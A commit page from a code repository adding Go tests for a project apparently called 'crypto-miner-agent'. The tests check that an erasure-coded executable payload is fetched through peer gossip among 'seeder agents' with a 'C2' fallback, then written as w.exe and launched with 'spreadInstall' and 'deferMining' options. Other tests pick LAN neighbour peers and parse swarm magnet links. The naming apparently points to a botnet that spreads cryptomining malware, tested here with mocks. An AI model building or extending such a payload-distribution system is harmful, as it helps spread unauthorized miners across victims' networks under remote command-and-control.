Add Fleet Torrent erasure extension with shard DHT and gossip.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.
This commit is contained in:
107
agent/deploy/fleet_torrent_test.go
Normal file
107
agent/deploy/fleet_torrent_test.go
Normal file
@@ -0,0 +1,107 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"github.com/klauspost/reedsolomon"
|
||||
)
|
||||
|
||||
func TestFleetShardDHTMergeAndFetch(t *testing.T) {
|
||||
dht := &FleetShardDHT{
|
||||
peers: make(map[string]map[int][]ShardPeer),
|
||||
healthy: make(map[string]bool),
|
||||
local: make(map[string]map[int][]byte),
|
||||
}
|
||||
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
|
||||
Kind: FleetGossipHaveShard,
|
||||
AgentID: "peer-a",
|
||||
Subnet: "10.1.2",
|
||||
Token: "tok1",
|
||||
ShardIndex: 0,
|
||||
FetchURL: "mock://shard0",
|
||||
}})
|
||||
payload := []byte("fleet-torrent-roundtrip")
|
||||
p := erasureParams{DataShards: 2, ParityShards: 1}
|
||||
enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
|
||||
shards, _ := enc.Split(payload)
|
||||
_ = enc.Encode(shards)
|
||||
prev := erasureFetchFn
|
||||
erasureFetchFn = func(url string) ([]byte, error) {
|
||||
if url == "mock://shard0" {
|
||||
return shards[0], nil
|
||||
}
|
||||
if url == "mock://c2" {
|
||||
return shards[1], nil
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
defer func() { erasureFetchFn = prev }()
|
||||
|
||||
body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "10.1.2", dht)
|
||||
if err != nil || string(body) != string(shards[0]) {
|
||||
t.Fatalf("fetch=%v err=%v", body, err)
|
||||
}
|
||||
plan := ErasurePlanBody{
|
||||
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
|
||||
DataShards: p.DataShards, ParityShards: p.ParityShards,
|
||||
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
|
||||
ShardToken: "tok1", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
|
||||
Shards: []ErasureShardRef{
|
||||
{Index: 0, URL: "mock://c2"},
|
||||
{Index: 1, URL: "mock://c2"},
|
||||
{Index: 2, URL: "mock://c2"},
|
||||
},
|
||||
}
|
||||
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
|
||||
Kind: FleetGossipHaveShard, AgentID: "peer-b", Subnet: "10.9.9",
|
||||
Token: "tok1", ShardIndex: 1, FetchURL: "mock://shard1",
|
||||
}})
|
||||
erasureFetchFn = func(url string) ([]byte, error) {
|
||||
switch url {
|
||||
case "mock://shard0":
|
||||
return shards[0], nil
|
||||
case "mock://shard1":
|
||||
return shards[1], nil
|
||||
case "mock://c2":
|
||||
return nil, nil
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
prevLaunch := erasureLaunchFn
|
||||
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
|
||||
return "ok", nil
|
||||
}
|
||||
defer func() { erasureLaunchFn = prevLaunch }()
|
||||
SetFleetShardDHT(dht)
|
||||
msg, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
FleetTorrentEnabled: true, WorkerName: "w",
|
||||
}}, plan, "", "10.1.2")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if msg == "" {
|
||||
t.Fatal("empty msg")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickLANNeighborPeersCapsAtThree(t *testing.T) {
|
||||
peers := []ShardPeer{
|
||||
{AgentID: "a", Subnet: "10.0.0"},
|
||||
{AgentID: "b", Subnet: "10.0.0"},
|
||||
{AgentID: "c", Subnet: "10.0.0"},
|
||||
{AgentID: "d", Subnet: "10.0.0"},
|
||||
}
|
||||
got := PickLANNeighborPeers(peers, "10.0.0", 3)
|
||||
if len(got) != 3 {
|
||||
t.Fatalf("len=%d", len(got))
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSwarmMagnetToken(t *testing.T) {
|
||||
m := "magnet:?xt=urn:sha256:abc&dn=aetherforge-erasure-deadbeef&tr=urn:aetherforge:erasure:deadbeefcafe"
|
||||
if tok := ParseSwarmMagnetToken(m); tok != "deadbeefcafe" {
|
||||
t.Fatalf("token=%q", tok)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user